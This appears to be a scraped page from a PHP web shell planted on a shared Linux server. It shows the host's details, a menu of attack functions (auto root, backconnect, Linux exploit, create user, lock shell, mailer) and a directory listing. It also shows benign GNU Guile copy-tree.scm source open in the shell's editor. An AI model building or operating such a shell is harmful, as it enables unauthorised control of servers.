Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
guile /
3.0 /
ice-9 /
[ HOME SHELL ]
Name
Size
Permission
Action
peg
[ DIR ]
drwxr-xr-x
and-let-star.scm
2.53
KB
-rw-r--r--
arrays.scm
2.63
KB
-rw-r--r--
atomic.scm
1.55
KB
-rw-r--r--
binary-ports.scm
2.71
KB
-rw-r--r--
boot-9.scm
166.42
KB
-rw-r--r--
buffered-input.scm
4.82
KB
-rw-r--r--
calling.scm
10.54
KB
-rw-r--r--
command-line.scm
18.6
KB
-rw-r--r--
common-list.scm
8.95
KB
-rw-r--r--
control.scm
4.08
KB
-rw-r--r--
copy-tree.scm
3.05
KB
-rw-r--r--
curried-definitions.scm
1.79
KB
-rw-r--r--
deprecated.scm
1.54
KB
-rw-r--r--
documentation.scm
7.41
KB
-rw-r--r--
eval-string.scm
2.99
KB
-rw-r--r--
eval.scm
25.08
KB
-rw-r--r--
exceptions.scm
14.38
KB
-rw-r--r--
expect.scm
5.5
KB
-rw-r--r--
fdes-finalizers.scm
1.06
KB
-rw-r--r--
format.scm
65.47
KB
-rw-r--r--
ftw.scm
25.06
KB
-rw-r--r--
futures.scm
10.49
KB
-rw-r--r--
gap-buffer.scm
9.59
KB
-rw-r--r--
getopt-long.scm
16.49
KB
-rw-r--r--
hash-table.scm
1.77
KB
-rw-r--r--
hcons.scm
2.55
KB
-rw-r--r--
history.scm
2.29
KB
-rw-r--r--
i18n.scm
20.51
KB
-rw-r--r--
iconv.scm
3.19
KB
-rw-r--r--
lineio.scm
3.85
KB
-rw-r--r--
list.scm
1.29
KB
-rw-r--r--
local-eval.scm
9.84
KB
-rw-r--r--
ls.scm
3.2
KB
-rw-r--r--
match.scm
2.18
KB
-rw-r--r--
match.upstream.scm
35.93
KB
-rw-r--r--
networking.scm
3.33
KB
-rw-r--r--
null.scm
1.21
KB
-rw-r--r--
occam-channel.scm
7.26
KB
-rw-r--r--
optargs.scm
15.75
KB
-rw-r--r--
peg.scm
1.64
KB
-rw-r--r--
poe.scm
3.3
KB
-rw-r--r--
poll.scm
5.79
KB
-rw-r--r--
popen.scm
9.27
KB
-rw-r--r--
ports.scm
19.08
KB
-rw-r--r--
posix.scm
2.73
KB
-rw-r--r--
pretty-print.scm
16.88
KB
-rw-r--r--
psyntax-pp.scm
182.88
KB
-rw-r--r--
psyntax.scm
148.97
KB
-rw-r--r--
q.scm
4.2
KB
-rw-r--r--
quasisyntax.scm
5.22
KB
-rw-r--r--
r5rs.scm
1.56
KB
-rw-r--r--
r6rs-libraries.scm
10.38
KB
-rw-r--r--
r7rs-libraries.scm
4.28
KB
-rw-r--r--
rdelim.scm
7.72
KB
-rw-r--r--
read.scm
32.52
KB
-rw-r--r--
readline.scm
9.56
KB
-rw-r--r--
receive.scm
1.06
KB
-rw-r--r--
regex.scm
8.87
KB
-rw-r--r--
runq.scm
8.18
KB
-rw-r--r--
rw.scm
1.02
KB
-rw-r--r--
safe-r5rs.scm
7.5
KB
-rw-r--r--
safe.scm
1.25
KB
-rw-r--r--
sandbox.scm
34.24
KB
-rw-r--r--
save-stack.scm
2.15
KB
-rw-r--r--
scm-style-repl.scm
11.62
KB
-rw-r--r--
serialize.scm
3.78
KB
-rw-r--r--
session.scm
17.72
KB
-rw-r--r--
slib.scm
1.55
KB
-rw-r--r--
stack-catch.scm
1.94
KB
-rw-r--r--
streams.scm
5.86
KB
-rw-r--r--
string-fun.scm
9.68
KB
-rw-r--r--
suspendable-ports.scm
29.86
KB
-rw-r--r--
textual-ports.scm
2.29
KB
-rw-r--r--
threads.scm
12.54
KB
-rw-r--r--
time.scm
2.07
KB
-rw-r--r--
top-repl.scm
2.63
KB
-rw-r--r--
unicode.scm
1005
B
-rw-r--r--
vlist.scm
21.56
KB
-rw-r--r--
weak-vector.scm
1.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : copy-tree.scm
;;; copy-tree ;;; Copyright (C) 1995-2010,2018,2020 Free Software Foundation, Inc. ;;; ;;; This library is free software: you can redistribute it and/or modify ;;; it under the terms of the GNU Lesser General Public License as ;;; published by the Free Software Foundation, either version 3 of the ;;; License, or (at your option) any later version. ;;; ;;; This library is distributed in the hope that it will be useful, but ;;; WITHOUT ANY WARRANTY; without even the implied warranty of ;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ;;; Lesser General Public License for more details. ;;; ;;; You should have received a copy of the GNU Lesser General Public ;;; License along with this program. If not, see ;;; <http://www.gnu.org/licenses/>. ;;; Commentary: ;;; ;;; Copying pairs and vectors of data, while detecting cycles. ;;; ;;; Code: (define-module (ice-9 copy-tree) #:use-module (ice-9 match) #:use-module (srfi srfi-11) #:replace (copy-tree)) ;;; copy-tree creates deep copies of pairs and vectors, but not of any ;;; other data types. ;;; ;;; To avoid infinite recursion due to cyclic structures, the ;;; hare-and-tortoise pattern is used to detect cycles. (define (make-race obj) (define (make-race advance-tortoise? tortoise-path hare-tail) (define (advance! hare) (let ((tail (list hare))) (set-cdr! hare-tail tail) (set! hare-tail tail)) (when (eq? hare (car tortoise-path)) (scm-error 'wrong-type-arg "copy-tree" "Expected non-circular data structure: ~S" (list hare) #f)) (when advance-tortoise? (set! tortoise-path (cdr tortoise-path))) (set! advance-tortoise? (not advance-tortoise?))) (define (split!) (make-race advance-tortoise? tortoise-path hare-tail)) (values advance! split!)) (let ((path (cons obj '()))) (make-race #f path path))) (define (copy-tree obj) "Recursively copy the data tree that is bound to @var{obj}, and return a\n" "the new data structure. @code{copy-tree} recurses down the\n" "contents of both pairs and vectors (since both cons cells and vector\n" "cells may point to arbitrary objects), and stops recursing when it hits\n" "any other object." (define (trace? x) (or (pair? x) (vector? x))) (define (visit obj advance! split!) (define (visit-head obj) (if (trace? obj) (let-values (((advance! split!) (split!))) (advance! obj) (visit obj advance! split!)) obj)) (define (visit-tail obj) (when (trace? obj) (advance! obj)) (visit obj advance! split!)) (cond ((pair? obj) (let* ((head (visit-head (car obj))) (tail (visit-tail (cdr obj)))) (cons head tail))) ((vector? obj) (let* ((len (vector-length obj)) (v (make-vector len))) (let lp ((i 0)) (when (< i len) (vector-set! v i (visit-head (vector-ref obj i))) (lp (1+ i)))) v)) (else obj))) (let-values (((advance! split!) (make-race obj))) (visit obj advance! split!)))
Close
